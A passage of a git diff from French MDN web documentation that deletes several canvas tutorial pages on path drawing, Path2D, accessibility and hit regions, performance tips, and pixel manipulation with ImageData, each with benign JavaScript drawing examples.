-    ctx.fill();
-  }
-}
-
- -

{{EmbedLiveSample("Les_courbes_de_Bézier_cubiques", 160, 160, "https://mdn.mozillademos.org/files/207/Canvas_bezier.png")}}

- -

Rectangles

- -

En plus des trois méthodes que nous avons vues dans {{anch("Dessin de rectangles")}}, qui dessinent des formes rectangulaires directement sur le canevas, il y a la méthode rect(), qui ajoute un trajet rectangulaire à un trajet actuellement ouvert.

- -
-
{{domxref("CanvasRenderingContext2D.rect", "rect(x, y, largeur, hauteur)")}}
-
Dessine un rectangle dont l'angle supérieur gauche est spécifié par (x, y), avec les largeur et hauteur spécifiées.
-
- -

Quand cette méthode est exécutée, la méthode moveTo() est automatiquement appelée avec les paramètres (0,0). En d'autres termes, la position en cours du stylo est automatiquement réinitialisée aux coordonnées par défaut.

- -

Combiner les possibilités

- -

Jusqu'à présent, chaque exemple de cette page a utilisé un seul type de fonction de trajet par forme. Cependant, il n'y a pas de limite au nombre ou aux types de trajets que vous pouvez utiliser pour créer une forme. Ainsi, dans ce dernier exemple, combinons toutes les fonctions de trajet pour faire un ensemble de personnages d'un jeu très célèbre.

- - - -
function dessiner() {
-  var canevas = document.getElementById('canevas');
-  if (canevas.getContext) {
-    var ctx = canevas.getContext('2d');
-
-    rectArrondi(ctx, 12, 12, 150, 150, 15);
-    rectArrondi(ctx, 19, 19, 150, 150, 9);
-    rectArrondi(ctx, 53, 53, 49, 33, 10);
-    rectArrondi(ctx, 53, 119, 49, 16, 6);
-    rectArrondi(ctx, 135, 53, 49, 33, 10);
-    rectArrondi(ctx, 135, 119, 25, 49, 10);
-
-    ctx.beginPath();
-    ctx.arc(37, 37, 13, Math.PI/7, -Math.PI/7, false);
-    ctx.lineTo(31, 37);
-    ctx.fill();
-
-    for(var i = 0; i< 8; i++) {
-      ctx.fillRect(51 + i * 16, 35, 4, 4);
-    }
-
-    for(i = 0; i < 6; i++) {
-      ctx.fillRect(115, 51 + i * 16, 4, 4);
-    }
-
-    for(i = 0; i < 8; i++) {
-      ctx.fillRect(51 + i * 16, 99, 4, 4);
-    }
-
-    ctx.beginPath();
-    ctx.moveTo(83, 116);
-    ctx.lineTo(83, 102);
-    ctx.bezierCurveTo(83, 94, 89, 88, 97, 88);
-    ctx.bezierCurveTo(105, 88, 111, 94, 111, 102);
-    ctx.lineTo(111, 116);
-    ctx.lineTo(106.333, 111.333);
-    ctx.lineTo(101.666, 116);
-    ctx.lineTo(97, 111.333);
-    ctx.lineTo(92.333, 116);
-    ctx.lineTo(87.666, 111.333);
-    ctx.lineTo(83, 116);
-    ctx.fill();
-
-    ctx.fillStyle = "white";
-    ctx.beginPath();
-    ctx.moveTo(91, 96);
-    ctx.bezierCurveTo(88, 96, 87, 99, 87, 101);
-    ctx.bezierCurveTo(87, 103, 88, 106, 91, 106);
-    ctx.bezierCurveTo(94, 106, 95, 103, 95, 101);
-    ctx.bezierCurveTo(95, 99, 94, 96, 91, 96);
-    ctx.moveTo(103, 96);
-    ctx.bezierCurveTo(100, 96, 99, 99, 99, 101);
-    ctx.bezierCurveTo(99, 103, 100, 106, 103, 106);
-    ctx.bezierCurveTo(106, 106, 107, 103, 107, 101);
-    ctx.bezierCurveTo(107, 99, 106, 96, 103, 96);
-    ctx.fill();
-
-    ctx.fillStyle = "black";
-    ctx.beginPath();
-    ctx.arc(101, 102, 2, 0, Math.PI * 2, true);
-    ctx.fill();
-
-    ctx.beginPath();
-    ctx.arc(89, 102, 2, 0, Math.PI * 2, true);
-    ctx.fill();
-  }
-}
-
-// Une fonction utilitaire pour tracer des rectangles avec des coins arrondis
-
-function rectArrondi(ctx, x, y, largeur, hauteur, rayon) {
-  ctx.beginPath();
-  ctx.moveTo(x, y + rayon);
-  ctx.lineTo(x, y + hauteur - rayon);
-  ctx.quadraticCurveTo(x, y + hauteur, x + rayon, y + hauteur);
-  ctx.lineTo(x + largeur - rayon, y + hauteur);
-  ctx.quadraticCurveTo(x + largeur, y + hauteur, x + largeur, y + hauteur - rayon);
-  ctx.lineTo(x + largeur, y + rayon);
-  ctx.quadraticCurveTo(x + largeur, y, x + largeur - rayon, y);
-  ctx.lineTo(x + rayon,y);
-  ctx.quadraticCurveTo(x, y, x, y + rayon);
-  ctx.stroke();
-}
-
-
- -

L'image résultante ressemble à ce qui suit :

- -
-

{{EmbedLiveSample("Combiner_les_possibilités", 160, 160)}}

- -

Nous ne l'expliquerons pas plus en détails, du fait que c'est étonnament simple. Les choses les plus importantes à noter sont l'utilisation de la propriété fillStyle sur le contexte du dessin, et l'utilisation d'une fonction utilitaire dans ce cas, rectArrondi()). L'utilisation de fonctions utilitaires pour des éléments de dessin que vous faites souvent peut être très utile, et peut réduire la quantité de code dont vous avez besoin, ainsi que sa complexité.

- -

Nous reviendrons sur fillStyle plus en détail plus loin dans ce tutoriel. Pour l'instant, tout ce que nous faisons est de l'utiliser pour changer en blanc la couleur pour les trajets depuis la couleur noire par défaut, et inversement ensuite.

-
-
- -

Objets Path2D

- -

Comme nous l'avons vu dans le dernier exemple, il peut y avoir une série de trajets et d'instructions de dessin pour dessiner des objets sur votre canevas. Pour simplifier le code et améliorer les performances, l'objet {{domxref("Path2D")}}, disponible dans les versions récentes des navigateurs, vous permet de mettre en cache ou d'enregistrer ces instrucions de dessin. Vous pourrez alors rejouer vos trajets rapidement.
- Voyons comment nous pouvons construire un objet Path2D :

- -
-
{{domxref("Path2D.Path2D", "Path2D()")}}
-
Le constructor Path2D() retourne un objet Path2D nouvellement instancié, optionellement avec un autre trajet comme argument (crée une copie), ou optionellement avec une chaîne constituée de données de trajet SVG.
-
- -
new Path2D();     // objet trajet vide
-new Path2D(trajet); // copie depuis un autre objet Path2D
-new Path2D(d);    // trajet depuis des données de trajet SVG
- -

Toutes les méthodes de trajet telles que moveTo, rect, arc ou quadraticCurveTo, etc., que nous avons appris à connaître ci-dessus, sont disponibles sur les objets Path2D.

- -

L'API Path2D ajoute aussi une manière de combiner des trajets en utilisant la méthode addPath. Cela peut être utile quand vous voulez contruire des objets à partir de plusieurs composants, par exemple.

- -
-
{{domxref("Path2D.addPath", "Path2D.addPath(trajet [, transformation])")}}
-
Ajoute un trajet, au trajet en cours, avec une matrice de transformation.
-
- -

Exemple de Path2D

- -

Dans cet exemple, on crée un rectangle et un cercle. Tous deux sont stockés comme des objets Path2D, de sorte qu'ils sont disponibles pour un usage ultérieur. Avec la nouvelle API Path2D, plusieurs méthodes ont été mises à jour pour accepter optionnellement un objet Path2D à utiliser au lieu du trajet en cours. Ici, stroke et fill sont utilisés avec un argument de trajet pour dessiner les deux objets sur le canevas, par exemple.

- - - -
function dessiner() {
-  var canevas = document.getElementById('canvas');
-  if (canevas.getContext){
-    var ctx = canevas.getContext('2d');
-
-    var rectangle = new Path2D();
-    rectangle.rect(10, 10, 50, 50);
-
-    var cercle = new Path2D();
-    cercle.moveTo(125, 35);
-    cercle.arc(100, 35, 25, 0, 2 * Math.PI);
-
-    ctx.stroke(rectangle);
-    ctx.fill(cercle);
-  }
-}
- -

{{EmbedLiveSample("Exemple_de_Path2D", 130, 110, "https://mdn.mozillademos.org/files/9851/path2d.png")}}

- -

Utilisation de trajets SVG

- -

Une autre fonctionnalité puissante de la nouvelle API Path2D de canevas est l'utilisation de données de trajet SVG pour initialiser des trajets sur votre canevas. Cela peut vous permettre de faire circuler des données de trajet et les réutiliser, à la fois en SVG et dans un canevas.

- -

Le trajet se déplacera au point (M10 10) et se déplacera alors de 80 points horizontalement vers la droite (h 80), ensuite de 80 points vers le bas (v 80), puis de 80 points vers la gauche (h -80), et reviendra alors au départ (z). Vous pouvez voir cet exemple sur la page du constructeur Path2D.

- -
var p = new Path2D("M10 10 h 80 v 80 h -80 Z");
- -

{{PreviousNext("Tutoriel_canvas/Utilisation_de_base", "Tutoriel_canvas/Ajout_de_styles_et_de_couleurs")}}

diff --git a/files/fr/web/api/canvas_api/tutoriel_canvas/hit_regions_and_accessibility/index.html b/files/fr/web/api/canvas_api/tutoriel_canvas/hit_regions_and_accessibility/index.html deleted file mode 100644 index 59a4d1ce35..0000000000 --- a/files/fr/web/api/canvas_api/tutoriel_canvas/hit_regions_and_accessibility/index.html +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: Hit regions and accessibility -slug: Web/API/Canvas_API/Tutoriel_canvas/Hit_regions_and_accessibility -translation_of: Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility ---- -
{{CanvasSidebar}} {{ PreviousNext("Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas", "Web/API/Canvas_API/Tutorial/Optimizing_canvas") }}
- -
L'élément {{HTMLElement("canvas")}} lui-même est juste un bitmap et ne fourni aucune information sur les objets dessinés. Le contenu des canvas n'est pas sujet aux outils d'accessibility comme l'est la sémantique HTML. En général vous devriez éviter d'utiliser les canvas sur les sites ou les applications accessibles. Le marche à suivre suivante peut vous aider à les rendre plus accessibles.
- -

Moyen de repli

- -

Le contenu à l'intérieur d'un tag <canvas> ... </canvas> peut être utilisé comme moyen de secours pour les navigteurs qui ne supportent pas le rendu de canvas. C'est aussi très utile pour les utilisateurs qui utilisent des technologies adaptées (comme les lecteurs d'écran) qui peuvent lire et interpréter les éléments du DOM. Un bon exemple sur html5accessibility.com demontre comment cela peut être fait.

- -
<canvas>
-  <h2>Shapes</h2>
-  <p>A rectangle with a black border.
-   In the background is a pink circle.
-   Partially overlaying the <a href="http://en.wikipedia.org/wiki/Circle" onfocus="drawCircle();" onblur="drawPicture();">circle</a>.
-   Partially overlaying the circle is a green
-   <a href="http://en.wikipedia.org/wiki/Square" onfocus="drawSquare();" onblur="drawPicture();">square</a>
-   and a purple <a href="http://en.wikipedia.org/wiki/Triangle" onfocus="drawTriangle();" onblur="drawPicture();">triangle</a>,
-   both of which are semi-opaque, so the full circle can be seen underneath.</p>
-</canvas>
- -

Jetez un oeil à la video comment NVDA lit cet exemple par Steve Faulkner (en anglais).

- -

Les règles ARIA

- -

Accessible Rich Internet Applications (ARIA) (≈ Les applications Internet Accessibles Riches) défini des pistes pour rendre le contenu Web et les applications Web plus accessibles pour les personnes ayant un handicap. Vous pouvez utiliser les attributs ARIA pour decrire le comportement et le but de vos éléments canvas. Allez voir ARIA et les techniques ARIA pour plus d'informations.

- -
<canvas id="button" tabindex="0" role="button" aria-pressed="false" aria-label="Start game"></canvas>
-
- -

Zones cibles (hit Region)

- -

Que les coordonnés de la souris soient dans une zone particulière des canvas, est un problème fréquent à résoudre. L'API de la "hit region" vous permet de definir une zone de votre canvas et offre une autre possibilité pour proposer du contenu interactif dans les canvas a destination des outils d'accessibilité. Il permet de rendre la "hit detection" plus simple easier and vous laisser envoyer des événements aux éléments du DOM. L'API a les trois methodes suivantes (qui sont encore expérimentales dans les navigateurs actuel ; reportez-vous au tableau des comptibilités des navigateurs).

- -
-
{{domxref("CanvasRenderingContext2D.addHitRegion()")}} {{experimental_inline}}
-
Ajoute une "hit region" au canvas..
-
{{domxref("CanvasRenderingContext2D.removeHitRegion()")}} {{experimental_inline}}
-
Supprime la "hit region" avec l'id spécifiée venant du canvas.
-
{{domxref("CanvasRenderingContext2D.clearHitRegions()")}} {{experimental_inline}}
-
Retire toutes les "hit regions" du cnavas.
-
- -

Vous pouvez ajouter une "hit region" à votre chemin et vérifier la propriété {{domxref("MouseEvent.region")}} pour tester si votre souris entre dans votre région, par exemple.

- -
<canvas id="canvas"></canvas>
-<script>
-var canvas = document.getElementById('canvas');
-var ctx = canvas.getContext('2d');
-
-ctx.beginPath();
-ctx.arc(70, 80, 10, 0, 2 * Math.PI, false);
-ctx.fill();
-ctx.addHitRegion({id: 'circle'});
-
-canvas.addEventListener('mousemove', function(event) {
-  if (event.region) {
-    alert('hit region: ' + event.region);
-  }
-});
-</script>
- -

La méthode addHitRegion() accepte aussi une option de control pour envoyer des événement vers un élément (c'est un enfant des canvas):

- -
ctx.addHitRegion({control: element});
- -

Cela peut être utile pour le routage d'éléments {{HTMLElement("input")}}, par exemple. Regardez aussi codepen demo.

- -

Focus rings

- -

Quand on travaille avec le clavier, focus rings (anneaux de mise au point) sont utilies pour aider dans la navigation sur une page. Pour dessiner des "focus ring" dans un dessin de canvas, la propriété drawFocusIfNeeded peut être utilisée.

- -
-
{{domxref("CanvasRenderingContext2D.drawFocusIfNeeded()")}} {{experimental_inline}}
-
Si un élément donné est ciblé, cette méthode dessine un anneaud de mise ne valeur autoure du chemin courant.
-
- -

De plus, la méthode scrollPathIntoView() peut être utilisée pour rendre visible un élément dans une page s'il est ciblé, par exemple.

- -
-
{{domxref("CanvasRenderingContext2D.scrollPathIntoView()")}} {{experimental_inline}}
-
Affiche le chemin courant ou le chemin donné.
-
- -

See also

- - - -
{{ PreviousNext("Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas", "Web/API/Canvas_API/Tutorial/Optimizing_canvas") }}
diff --git a/files/fr/web/api/canvas_api/tutoriel_canvas/index.html b/files/fr/web/api/canvas_api/tutoriel_canvas/index.html deleted file mode 100644 index a430b361bd..0000000000 --- a/files/fr/web/api/canvas_api/tutoriel_canvas/index.html +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: Tutoriel canvas -slug: Web/API/Canvas_API/Tutoriel_canvas -tags: - - Canvas - - Guide - - HTML - - Tutoriel_canvas - - Tutoriels -translation_of: Web/API/Canvas_API/Tutorial ---- -
{{CanvasSidebar}}
- -

- -

<canvas> est un nouvel élément HTML qui peut être utilisé pour dessiner des éléments graphiques à l'aide de scripts (habituellement JavaScript). Il permet par exemple de dessiner des graphiques, de réaliser des compositions de photographies ou des animations simples (voire pas si simples). Les images à droite montrent quelques exemples d'implémentations utilisant <canvas> que nous verrons plus tard dans ce tutoriel.

- -

Ce tutoriel explique comment utiliser l'élément <canvas> pour dessiner des graphiques 2D, en commençant par les bases. Les exemples fournis devraient vous donner des idées claires sur ce que vous pouvez faire avec la toile et fournir des extraits de code qui peuvent vous aider à créer votre propre contenu.

- -

D'abord introduit dans WebKit par Apple pour le tableau de bord OS X, <canvas> a depuis été implémenté dans les navigateurs. Aujourd'hui, tous les principaux navigateurs le prennent en charge.

- -

Avant de commencer

- -

L'utilisation de l'élément <canvas> n'a rien de très compliqué, mais nécessite tout de même une compréhension de base de HTML et JavaScript. L'élément <canvas> n'est pas reconnu par tous les vieux navigateurs, mais il est supporté par les versions les plus récentes des principaux. La taille par défaut de canvas est 300 px × 150 px (largeur × hauteur). Mais les tailles personnalisées peuvent être définies à l'aide des propriétés HTML height et width. Afin de dessiner des graphiques sur canvas , nous utilisons un objet de contexte JavaScript, qui crée des graphiques à la volée.

- -

Dans ce tutoriel

- - - -

Voir aussi

- - - -

{{ Next("Tutoriel_canvas/Utilisation_de_base") }}

diff --git a/files/fr/web/api/canvas_api/tutoriel_canvas/optimizing_canvas/index.html b/files/fr/web/api/canvas_api/tutoriel_canvas/optimizing_canvas/index.html deleted file mode 100644 index d8e6e8383c..0000000000 --- a/files/fr/web/api/canvas_api/tutoriel_canvas/optimizing_canvas/index.html +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: Optimiser les Canvas -slug: Web/API/Canvas_API/Tutoriel_canvas/Optimizing_canvas -translation_of: Web/API/Canvas_API/Tutorial/Optimizing_canvas ---- -
{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility", "Web/API/Canvas_API/Tutorial/Finale")}}
- -
-

L'élément {{HTMLElement("canvas")}} est l'un des standards les plus utilisés pour le rendu graphique 2D sur le web. Il est surtout utilisé dans les jeux et les visualisations complexes. Cependant, les sites et applications web poussent les canvas à leurs limites, et les performances commencent à en pâtir. Cet article propose des suggestions pour optimiser votre utilisation de l'élément canvas, et pour être certain que votre site ou application web fonctionne bien.

-
- -

Conseils sur les performances

- -

Ceci est une liste de conseils pour améliorer les performances

- -

Pré-rendre les primitifs similaires ou répéter les objects dans un canvas hors-champ

- -

Si vous avez besoin d'ajouter un dessin complexe identique à chaque image rendue, préférez l'utilisation d'un canvas hors-champ, le rendre une fois (ou à chaque fois qu'il change) sur ce canvas, puis dessinez-le sur le canvas principal à chaque image rendue.

- -
myEntity.offscreenCanvas = document.createElement("canvas");
-myEntity.offscreenCanvas.width = myEntity.width;
-myEntity.offscreenCanvas.height = myEntity.height;
-myEntity.offscreenContext = myEntity.offscreenCanvas.getContext("2d");
-
-myEntity.render(myEntity.offscreenContext);
-
- -

Abandonnez les coordonnées décimales et utilisez des entiers à la place

- -

Un rendu de sous-pixel est opéré quand on dessine des objets sur un canvas sans valeur entière.

- -
ctx.drawImage(myImage, 0.3, 0.5);
-
- -

Cela pousse le navigateur à faire des calculs supplémentaires pour créer un effet d'anti-crénelage. Pour empêcher cela, il faut s'assurer d'arrondir les coordonnées utilisées pour {{domxref("CanvasRenderingContext2D.drawImage", "drawImage()")}}.

- -

Ne pas redimensionner d'images avec drawImage

- -

Préférez mettre en cache plusieurs dimensions de votre image dans un canvas hors-champ au lieu de les redimensionner constamment avec {{domxref("CanvasRenderingContext2D.drawImage", "drawImage()")}}.

- -

Utiliser des canvas empilés pour les scènes complexes

- -

Pour des scènes complexes, on peut souvent remarquer que quelques éléments changent souvent tandis que d'autres ne changent jamais. Une optimisation possible dans ce cas consiste à utiliser plusieurs calques sous forme de canvas empilés.

- -

Par exemple, on peut créer un calque UI, dessiné au-dessus de tous les autres uniquement lorsque l'utilisateur accède à un menu. En dessous, un calque jeu où les entités du jeu sont souvent mises à jour. Et, à l'arrière, un calque de fond rarement modifié.

- -
<div id="stage">
-  <canvas id="ui-layer" width="480" height="320"></canvas>
-  <canvas id="game-layer" width="480" height="320"></canvas>
-  <canvas id="background-layer" width="480" height="320"></canvas>
-</div>
-
-<style>
-  #stage {
-    width: 480px;
-    height: 320px;
-    position: relative;
-    border: 2px solid black
-  }
-  canvas { position: absolute; }
-  #ui-layer { z-index: 3 }
-  #game-layer { z-index: 2 }
-  #background-layer { z-index: 1 }
-</style>
-
- -

Du CSS pour les grandes images de fond

- -

Si comme pour la plupart des jeux, vous utilisez une image de fond statique, préférez utiliser un simple {{HTMLElement("div")}} en dessous du canvas avec les propriétés CSS {{cssxref("background")}} appropriées. Cela vous évitera de redessiner une grande image dans le canvas à chaque tick.

- -

Redimensionner les canvas avec CSS transform

- -

Les transformations CSS sont plus rapides car elles utilisent le GPU. Le mieux est d'utiliser un canvas plus grand et de réduire sa taille. Pour Firefox OS, les dimensions sont de 480 x 320 px.

- -
var scaleX = window.innerWidth / canvas.width;
-var scaleY = window.innerHeight / canvas.height;
-
-var scaleToFit = Math.min(scaleX, scaleY);
-var scaleToCover = Math.max(scaleX, scaleY);
-
-stage.style.transformOrigin = "0 0"; //scale from top left
-stage.style.transform = "scale(" + scaleToFit + ")";
-
- -

Utiliser l'attribut moz-opaque (Gecko only)

- -

Si le canvas n'a pas besoin de transparence, ajouter l'attribut moz-opaque dans la balise canvas. Cette information peut être utilisée par le navigateur pour optimiser le rendu.

- -
<canvas id="mycanvas" moz-opaque></canvas>
- -

D'autres conseils

- -
    -
  • Regrouper les appels canevas (par exemple, dessiner un chemin de plusieurs lignes plutôt que plusieurs lignes séparées).
    • -
  • Éviter de refaire un rendu si ce n'est pas nécessaire.
    • -
  • Rendre uniquement les différences, pas tout le canvas.
    • -
  • Éviter la propriété {{domxref("CanvasRenderingContext2D.shadowBlur", "shadowBlur")}} quand c'est possible.
    • -
  • Empêcher le rendu de texte quand c'est possible.
    • -
  • Essayer différents moyens d'effacer le canvas : ({{domxref("CanvasRenderingContext2D.clearRect", "clearRect()")}} vs. {{domxref("CanvasRenderingContext2D.fillRect", "fillRect()")}} vs. redimensionner le canevas).
    • -
  • Avec les animations, utiliser {{domxref("window.requestAnimationFrame()")}} plutôt que {{domxref("window.setInterval()")}}.
    • -
  • Faire attention aux bibliothèques physiques lourdes.
    • -
  • Tester les performances avec JSPerf.
    • -
- -

Voir aussi

- - - -

{{PreviousNext("Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility", "Web/API/Canvas_API/Tutorial/Finale")}}

diff --git a/files/fr/web/api/canvas_api/tutoriel_canvas/pixel_manipulation_with_canvas/index.html b/files/fr/web/api/canvas_api/tutoriel_canvas/pixel_manipulation_with_canvas/index.html deleted file mode 100644 index a2182f43c1..0000000000 --- a/files/fr/web/api/canvas_api/tutoriel_canvas/pixel_manipulation_with_canvas/index.html +++ /dev/null @@ -1,258 +0,0 @@ ---- -title: Manipulation de pixels avec canvas -slug: Web/API/Canvas_API/Tutoriel_canvas/Pixel_manipulation_with_canvas -translation_of: Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas ---- -
{{CanvasSidebar}} {{PreviousNext("Tutoriel_canvas/Advanced_animations", "Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility")}}
- -
-

Jusqu'à présent, nous n'avons pas examiné dans le détail les pixels réels de notre canevas. Avec l'objet ImageData, vous pouvez directement lire et écrire dans le tableau de données de l'image, pour manipuler les pixels un par un. Nous verrons également comment le lissage (anticrénelage) de l'image peut être contrôlé et comment sauvegarder des images depuis votre canevas.

-
- -

L'objet ImageData

- -

L'objet {{domxref("ImageData")}} représente les données de pixels sous-jacentes à une zone d'un objet canevas. Il contient les attributs (en lecture seule) suivants :

- -
-
width
-
La largeur de l'image en pixels.
-
height
-
La hauteur de l'image en pixels.
-
data
-
Un {{jsxref("Uint8ClampedArray")}} représentant un tableau monodimensionnel contenant les données dans l'ordre RVBA, ayant des valeurs entières entre 0 et  255 (inclus).
-
- -

La propriété data retourne un tableau {{jsxref("Uint8ClampedArray")}} auquel on peut accéder pour voir plus en détail les données brutes des pixels ; chaque pixel est représenté par quatre valeurs sur un octet (rouge, vert, bleu et alpha, dans cet ordre ; c'est-à-dire, le format "RVBA").  Chaque composante de couleur est représentée par un entier entre 0 et 255. Chaque composante reçoit un indice à l'intérieur du tableau, la composante rouge du pixel supérieur gauche étant à l'indice 0 à l'intérieur du tableau. Les pixels continuent ensuite de gauche à droite, puis vers le bas, jusqu'au bout du tableau.

- -

Le {{jsxref("Uint8ClampedArray")}} contient height(hauteur) × width(largeur)  × 4 octets, dont les valeurs d'indices vont de 0 à (height×width×4)-1.

- -

Par exemple, pour lire la valeur de la composante bleue d'un pixel situé en colonne 200, ligne 50  de l'image, vous pouvez faire ce qui suit :

- -
composanteBleue = imageData.data[((50 * (imageData.width * 4)) + (200 * 4)) + 2];
- -

Vous pouvez accéder à la taille en octets du tableau de pixels en lisant l'attribut Uint8ClampedArray.length :

- -
var nbOctets = imageData.data.length;
-
- -

Création d'un objet ImageData

- -

Pour créer un nouvel objet ImageData vierge, vous pouvez utiliser la méthode  {{domxref("CanvasRenderingContext2D.createImageData", "createImageData()")}}. Il existe deux versions de la méthode createImageData() :

- -
var monImageData = ctx.createImageData(largeur, hauteur);
- -

Cela crée un nouvel objet ImageData avec les dimensions spécifiées. Tous les pixels sont prédéfinis comme étant noirs transparents.

- -

Vous pouvez aussi créer un nouvel objet ImageData ayant les mêmes dimensions que celles de l'objet indiqué par autreImageData. Les pixels du nouvel objet sont tous prédéfinis comme étant noirs transparents. Cela ne copie pas les données d'image !

- -
var monImageData = ctx.createImageData(autreImageData);
- -

Obtention des données pixel pour un contexte

- -

Pour obtenir un objet  ImageData contenant une copie des données pixel pour un contexte de canevas, vous pouvez utiliser la méthode getImageData() :

- -
var monImageData = ctx.getImageData(gauche, haut, largeur, hauteur);
- -

Cette méthode retourne un objet ImageData représentant les données pixel pour la zone du canevas dont les coins sont représentés par les points  (left,top) (gauche,haut), (left+width, top) (gauche+largeur, haut), (left, top+height) (gauche, haut+hauteur) et  (left+width, top+height) (gauche+largeur, haut+hauteur). Les coordonnées sont spécifiées en unités d'espace de coordonnées du canevas.

- -
-

Note : Tous les pixels en dehors du canevas seront retournés comme noirs transparents dans l'objet ImageData résultant.

-
- -

Cette méthode est aussi présentée dans l'article Manipulation vidéo utilisant canvas.

- -

Une pipette à couleur

- -

Dans cet exemple, nous utilisons la méthode getImageData() pour afficher la couleur en dessous du curseur de la souris. Pour cela, nous avons besoin de la position en cours de la souris donnée par layerX et layerY, nous recherchons ensuite les données pixel à cette position dans le tableau de pixels que getImageData() nous fournit. Finalement, nous utilisons les données du tableau pour définir une couleur d'arrière-plan et un texte dans le <div> pour afficher la couleur.

- - - -
var img = new Image();
-img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg';
-var canvas = document.getElementById('canvas');
-var ctx = canvas.getContext('2d');
-img.onload = function() {
-  ctx.drawImage(img, 0, 0);
-  img.style.display = 'none';
-};
-var color = document.getElementById('color');
-function pick(event) {
-  var x = event.layerX;
-  var y = event.layerY;
-  var pixel = ctx.getImageData(x, y, 1, 1);
-  var data = pixel.data;
-  var rgba = 'rgba(' + data[0] + ', ' + data[1] +
-             ', ' + data[2] + ', ' + (data[3] / 255) + ')';
-  color.style.background =  rgba;
-  color.textContent = rgba;
-}
-canvas.addEventListener('mousemove', pick);
- -

{{ EmbedLiveSample('A_color_picker', 610, 240) }}

- -

Peinture des données pixel dans un contexte

- -

Vous pouvez utiliser la méthode putImageData() pour peindre les données pixel dans un contexte :

- -
ctx.putImageData(monImageData, dx, dy);
-
- -

Les paramètres dx et dy indiquent les coordonnées système dans le contexte du coin supérieur gauche des données pixel qui doivent être peintes.

- -

Par exemple, pour peindre l'image entière représentée par monImageData dans le coin supérieur gauche du contexte, vous pouvez simplement faire ce qui suit :

- -
ctx.putImageData(monImageData, 0, 0);
-
- -

Niveaux de gris et inversion de couleurs

- -

Dans cet exemple, nous itérons sur tous les pixels pour changer leurs valeurs, puis nous remettons le tableau de pixels modifié sur le canevas à l'aide de putImageData(). La fonction inversion soustrait simplement chaque couleur de la valeur maximale 255. La fonction  grayscale (niveaux de gris) fait simplement la moyenne du rouge, du vert et du bleu. Vous pouvez également utiliser une moyenne pondérée, donnée par la formule x = 0.299r + 0.587v + 0.114b, par exemple. Voir Niveaux de gris sur Wikipedia pour plus d'informations.

- - - -
var img = new Image();
-img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg';
-img.onload = function() {
-  dessiner(this);
-};
-
-function dessiner(img) {
-  var canevas = document.getElementById('canevas');
-  var ctx = canevas.getContext('2d');
-  ctx.drawImage(img, 0, 0);
-  img.style.display = 'none';
-  var imageData = ctx.getImageData(0, 0, canevas.width, canevas.height);
-  var data = imageData.data;
-
-  var inversion = function() {
-    for (var i = 0; i < data.length; i += 4) {
-      data[i]     = 255 - data[i];     // rouge
-      data[i + 1] = 255 - data[i + 1]; // vert
-      data[i + 2] = 255 - data[i + 2]; // bleu
-    }
-    ctx.putImageData(imageData, 0, 0);
-  };
-
-  var niveaudegris = function() {
-    for (var i = 0; i < data.length; i += 4) {
-      var moy = (data[i] + data[i + 1] + data[i + 2]) / 3;
-      data[i]     = moy; // rouge
-      data[i + 1] = moy; // vert
-      data[i + 2] = moy; // bleu
-    }
-    ctx.putImageData(imageData, 0, 0);
-  };
-
-  var btninversion = document.getElementById('btninversion');
-  btninversion.addEventListener('click', inversion);
-  var btnniveaudegris = document.getElementById('btnniveaudegris');
-  btnniveaudegris.addEventListener('click', niveaudegris);
-}
-
- -

{{ EmbedLiveSample('Grayscaling_and_inverting_colors', 330, 270) }}

- -

Zoom et anticrénelage

- -

A l'aide de la méthode {{domxref ("CanvasRenderingContext2D.drawImage", "drawImage ()")}}, un deuxième canevas, et la propriété {{domxref("CanvasRenderingContext2D.imageSmoothingEnabled", "imageSmoothingEnabled")}} , nous pouvons zoomer sur notre image et voir les détails.

- -

Nous obtenons la position de la souris et recadrons une image de 5 pixels à gauche et au-dessus à 5 pixels à droite et en-dessous. Ensuite, nous copions celle-ci sur un autre canevas et redimensionnons l'image à la taille que nous voulons. Dans la zone de zoom, nous redimensionnons une zone de 10 × 10 pixels du canevas d'origine à 200 × 200.

- -
zoomctx.drawImage(canvas,
-                  Math.abs(x - 5), Math.abs(y - 5),
-                  10, 10, 0, 0, 200, 200);
- -

Étant donné que l'anticrénelage est activé par défaut, nous pouvons désactiver le lissage pour voir les pixels clairs. Vous pouvez basculer la case à cocher pour voir l'effet de la propriété imageSmoothingEnabled (qui a besoin de préfixes pour différents navigateurs).

- - - - - -
var img = new Image();
-img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg';
-img.onload = function() {
-  draw(this);
-};
-
-function draw(img) {
-  var canvas = document.getElementById('canvas');
-  var ctx = canvas.getContext('2d');
-  ctx.drawImage(img, 0, 0);
-  img.style.display = 'none';
-  var zoomctx = document.getElementById('zoom').getContext('2d');
-
-  var smoothbtn = document.getElementById('smoothbtn');
-  var toggleSmoothing = function(event) {
-    zoomctx.imageSmoothingEnabled = this.checked;
-    zoomctx.mozImageSmoothingEnabled = this.checked;
-    zoomctx.webkitImageSmoothingEnabled = this.checked;
-    zoomctx.msImageSmoothingEnabled = this.checked;
-  };
-  smoothbtn.addEventListener('change', toggleSmoothing);
-
-  var zoom = function(event) {
-    var x = event.layerX;
-    var y = event.layerY;
-    zoomctx.drawImage(canvas,
-                      Math.abs(x - 5),
-                      Math.abs(y - 5),
-                      10, 10,
-                      0, 0,
-                      200, 200);
-  };
-
-  canvas.addEventListener('mousemove', zoom);
-}
- -

{{ EmbedLiveSample('Zoom_example', 620, 490) }}

- -

Sauvegarde des images

- -

L' {{domxref ("HTMLCanvasElement")}} fournit une méthode toDataURL (), utile lors de l'enregistrement d'images. Il retourne un URI de données contenant une représentation de l'image dans le format spécifié par le paramètre de type (par défaut en PNG ). L'image renvoyée est dans une résolution de 96 dpi.

- -
-
{{domxref("HTMLCanvasElement.toDataURL", "canvas.toDataURL('image/png')")}}
-
Par défaut. Crée un image PNG.
-
